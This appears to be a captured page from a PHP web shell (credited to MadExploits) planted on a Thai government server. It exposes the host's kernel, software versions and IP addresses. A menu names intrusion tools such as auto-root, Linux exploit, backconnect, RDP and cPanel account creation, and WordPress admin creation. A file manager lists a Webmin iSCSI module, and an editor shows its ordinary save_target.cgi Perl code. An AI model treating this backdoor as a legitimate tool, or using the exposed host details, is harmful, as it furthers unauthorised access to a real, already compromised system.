Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
iscsi-tgtd /
[ HOME SHELL ]
Name
Size
Permission
Action
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
127
B
-rw-r--r--
atboot.cgi
658
B
-rwxr-xr-x
config
70
B
-rw-r--r--
config-Amazon-Linux-2-ALL
184
B
-rw-r--r--
config-CentOS-Linux-7.0-ALL
184
B
-rw-r--r--
config-Redhat-Enterprise-Linux...
184
B
-rw-r--r--
config-Scientific-Linux-7.0-AL...
184
B
-rw-r--r--
config-debian-linux
92
B
-rw-r--r--
config-redhat-linux
128
B
-rw-r--r--
config-syno-linux
70
B
-rw-r--r--
config.info
421
B
-rw-r--r--
config.info.ca
487
B
-rw-r--r--
config.info.ca.UTF-8
492
B
-rw-r--r--
config.info.de
504
B
-rw-r--r--
config.info.de.UTF-8
504
B
-rw-r--r--
config.info.no
465
B
-rw-r--r--
config.info.no.UTF-8
465
B
-rw-r--r--
delete_targets.cgi
927
B
-rwxr-xr-x
edit_manual.cgi
1
KB
-rwxr-xr-x
edit_target.cgi
5.36
KB
-rwxr-xr-x
index.cgi
2.7
KB
-rwxr-xr-x
install_check.pl
346
B
-rwxr-xr-x
iscsi-tgtd-lib.pl
11.61
KB
-rw-r--r--
log_parser.pl
457
B
-rwxr-xr-x
module.info
196
B
-rw-r--r--
module.info.ca
136
B
-rw-r--r--
module.info.ca.UTF-8
149
B
-rw-r--r--
module.info.de
123
B
-rw-r--r--
module.info.de.UTF-8
135
B
-rw-r--r--
restart.cgi
298
B
-rwxr-xr-x
save_manual.cgi
631
B
-rwxr-xr-x
save_target.cgi
4.42
KB
-rwxr-xr-x
start.cgi
275
B
-rwxr-xr-x
stop.cgi
250
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : save_target.cgi
#!/usr/bin/perl # Create, update or delete a target use strict; use warnings; require './iscsi-tgtd-lib.pl'; our (%text, %in, %config); &ReadParse(); &error_setup($text{'target_err'}); my $conf = &get_tgtd_config(); # Get the target my $target; my $addfile; if ($in{'new'}) { $target = { 'name' => 'target', 'type' => 1, 'members' => [ ] }; if (-d $config{'add_file'}) { $addfile = $config{'add_file'}."/".$in{'name'}.".conf"; } elsif ($config{'add_file'}) { $addfile = $config{'add_file'}; } } else { ($target) = grep { $_->{'value'} eq $in{'oldname'} } &find($conf, "Target"); $target || &error($text{'target_egone'}); } my $lockfile = $target->{'file'} || $addfile; &lock_file($lockfile); if ($in{'delete'}) { # Delete the target &save_directive($conf, $target, undef); &delete_if_empty($target->{'file'}); } else { # Validate and save directives, starting with target name my $host; if ($in{'new'}) { $host = &find_host_name($conf) || &generate_host_name(); } else { ($host) = split(/:/, $target->{'value'}); } $in{'name'} =~ /^[a-z0-9\.\_\-]+$/i || &error($text{'target_ename'}); $target->{'value'} = $host.":".$in{'name'}; # Validate logical units my @luns = (&find($target->{'members'}, "backing-store"), &find($target->{'members'}, "direct-store")); @luns = sort { $a->{'file'} <=> $b->{'file'} } @luns; my (@backluns, @directluns); for(my $i=0; defined($in{"mode".$i}); $i++) { my $path; if ($in{"mode".$i} eq "none") { # Nothing to do next; } elsif ($in{"mode".$i} eq "part") { # Regular partition $path = $in{"part".$i}; } elsif ($in{"mode".$i} eq "raid") { # RAID device $path = $in{"raid".$i}; } elsif ($in{"mode".$i} eq "lvm") { # LVM logical volume $path = $in{"lvm".$i}; } elsif ($in{"mode".$i} eq "other") { # Some other file $in{"other".$i} =~ /^\/\S+$/ && -r $in{"other".$i} || &error(&text('target_eother', $i+1)); $path = $in{"other".$i}; } my $newlun = $i >= @luns ? { } : $luns[$i]; $newlun->{'name'} = $in{"type".$i}; $newlun->{'value'} = $path; my $cache = $in{"cache".$i} ? { 'name' => 'write-cache', 'value' => $in{"cache".$i} } : undef; &save_directive($conf, "write-cache", $cache, $newlun); if ($newlun->{'name'} eq "backing-store") { push(@backluns, $newlun); } else { push(@directluns, $newlun); } } &save_multiple_directives($conf, "backing-store", \@backluns, $target); &save_multiple_directives($conf, "direct-store", \@directluns,$target); # Validate incoming user(s) my @iusers; if (!$in{"iuser_def"}) { for(my $i=0; defined($in{"uname_$i"}); $i++) { next if (!$in{"uname_$i"}); $in{"uname_$i"} =~ /^\S+$/ || &error(&text('target_eiuser', $i+1)); $in{"upass_$i"} =~ /^\S+$/ || &error(&text('target_eipass', $i+1)); push(@iusers, { 'name' => 'incominguser', 'value' => $in{"uname_$i"}." ".$in{"upass_$i"} }); } @iusers || &error($text{'target_eiusernone'}); } &save_multiple_directives($conf, "incominguser", \@iusers, $target); # Validate outgoing user(s) if (!$in{"ouser_def"}) { $in{"ouser"} =~ /^\S+$/ || &error($text{'target_eouser'}); $in{"opass"} =~ /^\S+$/ || &error($text{'target_eopass'}); my $ouser = { 'name' => "outgoinguser", 'value' => $in{"ouser"}." ".$in{"opass"} }; &save_directive($conf, "outgoinguser", $ouser, $target); } else { &save_directive($conf, "outgoinguser", undef, $target); } # Save allowed IPs my @addrs; if (!$in{"iaddress_def"}) { foreach my $a (split(/\s+/, $in{"iaddress"})) { &check_ipaddress($a) || &error($text{'target_eaddr'}); push(@addrs, { 'name' => "initiator-address", 'value' => $a }); } } &save_multiple_directives($conf, "initiator-address", \@addrs, $target); # Save allowed initiators my @names; if (!$in{"iname_def"}) { foreach my $a (split(/\s+/, $in{"iname"})) { $a =~ /^[:a-z0-9\.\_\-]+$/i || &error($text{'target_eaname'}); push(@names, { 'name' => "initiator-name", 'value' => $a }); } } &save_multiple_directives($conf, "initiator-name", \@names, $target); # Save the target if ($in{'new'}) { &save_directive($conf, undef, $target, undef, $addfile); } else { &save_directive($conf, $target, $target); } } &flush_file_lines(); &unlock_file($lockfile); &webmin_log($in{'delete'} ? 'delete' : $in{'new'} ? 'create' : 'modify', 'target', $target->{'value'}); &redirect("");
Close